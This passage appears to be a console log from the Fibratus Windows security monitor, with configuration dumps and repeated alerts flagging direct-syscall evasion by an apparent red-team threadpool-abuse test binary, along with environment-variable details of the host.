path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-age=>0 max-backups=>15 level=>info] + output ......................... [ amqp=>[ timeout=>5s exchange-type=>topic enabled=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 durable=>false routing-key=>fibratus exchange=>fibratus passive=>false delivery-mode=>transient] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ timeout=>5s gzip-compression=>false healthcheck-timeout=>5s sniff=>false index-name=>fibratus enabled=>false healthcheck-interval=>10s flush-period=>1s trace-log=>false healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1] http=>[ endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false fastscan=>true skip-registry=>false excluded-procs=>[] excluded-files=>[] enabled=>false skip-mmaps=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:22:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:22:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:22:58+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1557893 + Pid: 19892 + Tid: 20492 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:22:58.3067706 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1d282341a80, subprocess_tag➜ 0, task_id➜ 1d282353aa8 + Metadata: evasions: [direct_syscall] + + Pid: 19892 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:25:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:25:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:25:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:25:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:25:47+01:00 level=info msg=bootstrapping with pid 9076. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:25:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-dns=>false buffer-size=>512 flush-interval=>1s min-buffers=>16 stack-enrichment=>true enable-thread=>true enable-threadpool=>true enable-image=>true enable-audit-api=>true enable-fileio=>true enable-handle=>false max-buffers=>36 enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 level=>info log-stdout=>true formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty] http=>[ endpoints=>[] enabled=>false enable-gzip=>false timeout=>5s serializer=>json method=>POST tls-insecure-skip-verify=>false] amqp=>[ exchange=>fibratus delivery-mode=>transient enabled=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false vhost=>/ timeout=>5s durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] elasticsearch=>[ flush-period=>1s timeout=>5s sniff=>false index-name=>fibratus healthcheck-timeout=>5s enabled=>false bulk-workers=>1 healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck=>true gzip-compression=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-registry=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:25:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:25:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:25:53+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1808886 + Pid: 21448 + Tid: 20700 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:25:52.9169837 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 27d43231a80, subprocess_tag➜ 0, task_id➜ 27d43243aa8 + Metadata: evasions: [direct_syscall] + + Pid: 21448 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff78efd10e6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff78efd13b0 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T17:26:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T17:26:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:26:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T17:27:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T17:27:45+01:00 level=info msg=bootstrapping with pid 18548. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T17:27:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-mem=>false enable-fileio=>true enable-dns=>false enable-audit-api=>true enable-threadpool=>true enable-vamap=>true enable-image=>true enable-net=>true max-buffers=>36 buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-registry=>true flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 level=>info] + output ......................... [ http=>[ enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus timeout=>5s sniff=>false healthcheck-interval=>10s flush-period=>1s template-name=>fibratus bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] trace-log=>false gzip-compression=>false enabled=>false] amqp=>[ timeout=>5s enabled=>false durable=>false vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic routing-key=>fibratus delivery-mode=>transient passive=>false exchange=>fibratus]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false fastscan=>true skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false skip-registry=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-24T17:27:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:27:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T17:27:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1825666 + Pid: 5992 + Tid: 18496 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 17:27:58.569751 +0100 CET + Params: callback➜ 7ff78efd1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1c20dfe1a80, subprocess_tag➜ 0, task_id➜ 1c20dff3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 5992 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ 